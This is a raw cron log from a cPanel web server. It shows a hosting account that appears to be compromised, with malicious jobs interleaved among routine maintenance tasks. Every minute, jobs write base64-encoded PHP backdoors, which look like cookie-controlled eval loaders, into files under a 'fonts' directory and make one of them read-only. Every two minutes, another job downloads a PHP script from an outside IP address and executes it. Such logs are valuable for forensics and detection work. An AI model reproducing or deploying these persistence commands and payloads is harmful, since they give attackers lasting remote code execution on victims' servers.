Aug 31 13:41:01 ip-184-168-122-23 CROND[8347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:41:01 ip-184-168-122-23 CROND[8348]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:41:01 ip-184-168-122-23 CROND[8351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:41:01 ip-184-168-122-23 CROND[8353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:42:01 ip-184-168-122-23 CROND[8520]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:42:01 ip-184-168-122-23 CROND[8523]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 13:42:01 ip-184-168-122-23 CROND[8522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:42:01 ip-184-168-122-23 CROND[8526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:42:01 ip-184-168-122-23 CROND[8527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:43:01 ip-184-168-122-23 CROND[8604]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:43:01 ip-184-168-122-23 CROND[8607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:43:01 ip-184-168-122-23 CROND[8608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:43:01 ip-184-168-122-23 CROND[8606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:44:01 ip-184-168-122-23 CROND[8688]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:44:01 ip-184-168-122-23 CROND[8690]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 13:44:01 ip-184-168-122-23 CROND[8691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:44:01 ip-184-168-122-23 CROND[8692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:44:01 ip-184-168-122-23 CROND[8693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:45:02 ip-184-168-122-23 CROND[8778]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 13:45:02 ip-184-168-122-23 CROND[8780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:45:02 ip-184-168-122-23 CROND[8779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:45:02 ip-184-168-122-23 CROND[8783]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 13:45:02 ip-184-168-122-23 CROND[8782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:45:02 ip-184-168-122-23 CROND[8784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:46:01 ip-184-168-122-23 CROND[8897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:46:01 ip-184-168-122-23 CROND[8899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:46:01 ip-184-168-122-23 CROND[8902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:46:01 ip-184-168-122-23 CROND[8903]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 13:46:01 ip-184-168-122-23 CROND[8904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:46:01 ip-184-168-122-23 CROND[8901]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 13:46:01 ip-184-168-122-23 CROND[8900]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 13:47:01 ip-184-168-122-23 CROND[9036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:47:01 ip-184-168-122-23 CROND[9038]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:47:01 ip-184-168-122-23 CROND[9037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:47:01 ip-184-168-122-23 CROND[9039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:48:01 ip-184-168-122-23 CROND[9253]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:48:01 ip-184-168-122-23 CROND[9256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:48:01 ip-184-168-122-23 CROND[9258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:48:01 ip-184-168-122-23 CROND[9257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:48:01 ip-184-168-122-23 CROND[9259]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 13:49:01 ip-184-168-122-23 CROND[9354]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Aug 31 13:49:01 ip-184-168-122-23 CROND[9355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:49:01 ip-184-168-122-23 CROND[9356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:49:01 ip-184-168-122-23 CROND[9357]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:49:01 ip-184-168-122-23 CROND[9358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:50:01 ip-184-168-122-23 CROND[9478]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 13:50:01 ip-184-168-122-23 CROND[9481]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 13:50:01 ip-184-168-122-23 CROND[9484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:50:01 ip-184-168-122-23 CROND[9485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:50:01 ip-184-168-122-23 CROND[9483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:50:01 ip-184-168-122-23 CROND[9487]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 13:50:01 ip-184-168-122-23 CROND[9488]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 13:50:01 ip-184-168-122-23 CROND[9492]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:50:01 ip-184-168-122-23 CROND[9493]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 13:51:01 ip-184-168-122-23 CROND[9625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:51:01 ip-184-168-122-23 CROND[9627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:51:01 ip-184-168-122-23 CROND[9628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:51:01 ip-184-168-122-23 CROND[9629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:52:01 ip-184-168-122-23 CROND[9712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:52:01 ip-184-168-122-23 CROND[9713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:52:01 ip-184-168-122-23 CROND[9714]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:52:01 ip-184-168-122-23 CROND[9716]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 13:52:01 ip-184-168-122-23 CROND[9715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:53:01 ip-184-168-122-23 CROND[9900]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
